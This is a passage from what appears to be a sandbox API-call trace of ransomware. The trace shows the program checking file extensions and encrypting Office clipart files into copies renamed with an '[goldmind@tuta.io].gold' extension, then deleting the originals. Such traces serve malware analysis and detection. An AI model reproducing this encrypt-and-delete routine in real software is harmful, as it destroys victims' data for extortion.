lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".doc") returned 4 [0111.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".docx") returned 5 [0111.099] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.099] lstrlenW (lpString=".pdf") returned 4 [0111.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".xls") returned 4 [0111.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.099] lstrlenW (lpString=".xlsx") returned 5 [0111.099] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.099] lstrlenW (lpString=".ppt") returned 4 [0111.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".zip") returned 4 [0111.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.099] lstrlenW (lpString=".rar") returned 4 [0111.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".bz2") returned 4 [0111.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".7z") returned 3 [0111.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".dbf") returned 4 [0111.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.100] lstrlenW (lpString=".1cd") returned 4 [0111.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.100] lstrlenW (lpString=".jpg") returned 4 [0111.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.100] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.100] lstrlenW (lpString="J0158071.WMF") returned 12 [0111.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.100] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=18652) returned 1 [0111.100] CloseHandle (hObject=0x19c) returned 1 [0111.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0111.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.101] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.101] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.102] GetLastError () returned 0x0 [0111.102] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x48dc, lpOverlapped=0x0) returned 1 [0111.104] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x48e0, lpOverlapped=0x0) returned 1 [0111.106] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.106] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.106] SetEndOfFile (hFile=0x194) returned 1 [0111.106] CloseHandle (hObject=0x194) returned 1 [0111.106] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.106] SetEndOfFile (hFile=0x19c) returned 1 [0111.108] CloseHandle (hObject=0x19c) returned 1 [0111.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0111.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.110] lstrlenW (lpString=".doc") returned 4 [0111.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.110] lstrlenW (lpString=".docx") returned 5 [0111.110] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.110] lstrlenW (lpString=".pdf") returned 4 [0111.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.110] lstrlenW (lpString=".xls") returned 4 [0111.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.110] lstrlenW (lpString=".xlsx") returned 5 [0111.110] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.111] lstrlenW (lpString=".ppt") returned 4 [0111.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".zip") returned 4 [0111.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.111] lstrlenW (lpString=".rar") returned 4 [0111.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".bz2") returned 4 [0111.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".7z") returned 3 [0111.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".dbf") returned 4 [0111.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".1cd") returned 4 [0111.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".jpg") returned 4 [0111.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".doc") returned 4 [0111.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".docx") returned 5 [0111.111] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.111] lstrlenW (lpString=".pdf") returned 4 [0111.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".xls") returned 4 [0111.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.111] lstrlenW (lpString=".xlsx") returned 5 [0111.111] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.111] lstrlenW (lpString=".ppt") returned 4 [0111.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".zip") returned 4 [0111.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.111] lstrlenW (lpString=".rar") returned 4 [0111.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".bz2") returned 4 [0111.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString=".7z") returned 3 [0111.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".dbf") returned 4 [0111.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".1cd") returned 4 [0111.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0111.111] lstrlenW (lpString=".jpg") returned 4 [0111.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.112] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.112] lstrlenW (lpString="J0158477.WMF") returned 12 [0111.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.113] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17966) returned 1 [0111.113] CloseHandle (hObject=0x19c) returned 1 [0111.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0111.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.114] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.114] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.115] GetLastError () returned 0x0 [0111.115] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x462e, lpOverlapped=0x0) returned 1 [0111.120] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0111.121] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.121] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.121] SetEndOfFile (hFile=0x194) returned 1 [0111.122] CloseHandle (hObject=0x194) returned 1 [0111.122] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.122] SetEndOfFile (hFile=0x19c) returned 1 [0111.123] CloseHandle (hObject=0x19c) returned 1 [0111.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0111.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.127] lstrlenW (lpString=".doc") returned 4 [0111.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.127] lstrlenW (lpString=".docx") returned 5 [0111.127] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.127] lstrlenW (lpString=".pdf") returned 4 [0111.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString=".xls") returned 4 [0111.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.128] lstrlenW (lpString=".xlsx") returned 5 [0111.128] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.128] lstrlenW (lpString=".ppt") returned 4 [0111.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString=".zip") returned 4 [0111.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.128] lstrlenW (lpString=".rar") returned 4 [0111.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString=".bz2") returned 4 [0111.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString=".7z") returned 3 [0111.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString=".dbf") returned 4 [0111.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString=".1cd") returned 4 [0111.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString=".jpg") returned 4 [0111.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.128] lstrlenW (lpString=".doc") returned 4 [0111.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString=".docx") returned 5 [0111.128] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.128] lstrlenW (lpString=".pdf") returned 4 [0111.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.128] lstrlenW (lpString=".xls") returned 4 [0111.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.128] lstrlenW (lpString=".xlsx") returned 5 [0111.128] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.128] lstrlenW (lpString=".ppt") returned 4 [0111.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.129] lstrlenW (lpString=".zip") returned 4 [0111.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.129] lstrlenW (lpString=".rar") returned 4 [0111.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.129] lstrlenW (lpString=".bz2") returned 4 [0111.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.129] lstrlenW (lpString=".7z") returned 3 [0111.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.129] lstrlenW (lpString=".dbf") returned 4 [0111.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.129] lstrlenW (lpString=".1cd") returned 4 [0111.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0111.129] lstrlenW (lpString=".jpg") returned 4 [0111.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.129] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0111.129] lstrlenW (lpString="J0164153.JPG") returned 12 [0111.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.130] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=46484) returned 1 [0111.130] CloseHandle (hObject=0x194) returned 1 [0111.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0111.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.130] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.130] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0111.172] GetLastError () returned 0x0 [0111.172] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xb594, lpOverlapped=0x0) returned 1 [0111.184] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xb5a0, lpOverlapped=0x0) returned 1 [0111.185] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.185] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.185] SetEndOfFile (hFile=0x3d4) returned 1 [0111.185] CloseHandle (hObject=0x3d4) returned 1 [0111.185] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.185] SetEndOfFile (hFile=0x194) returned 1 [0111.187] CloseHandle (hObject=0x194) returned 1 [0111.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0111.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.188] lstrlenW (lpString=".doc") returned 4 [0111.188] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0111.188] lstrlenW (lpString=".docx") returned 5 [0111.188] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0111.189] lstrlenW (lpString=".pdf") returned 4 [0111.189] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".xls") returned 4 [0111.189] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".xlsx") returned 5 [0111.189] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0111.189] lstrlenW (lpString=".ppt") returned 4 [0111.189] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".zip") returned 4 [0111.189] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".rar") returned 4 [0111.189] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".bz2") returned 4 [0111.189] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString=".7z") returned 3 [0111.189] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".dbf") returned 4 [0111.189] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".1cd") returned 4 [0111.189] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".jpg") returned 4 [0111.189] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".doc") returned 4 [0111.189] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString=".docx") returned 5 [0111.189] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0111.189] lstrlenW (lpString=".pdf") returned 4 [0111.189] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".xls") returned 4 [0111.189] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".xlsx") returned 5 [0111.189] 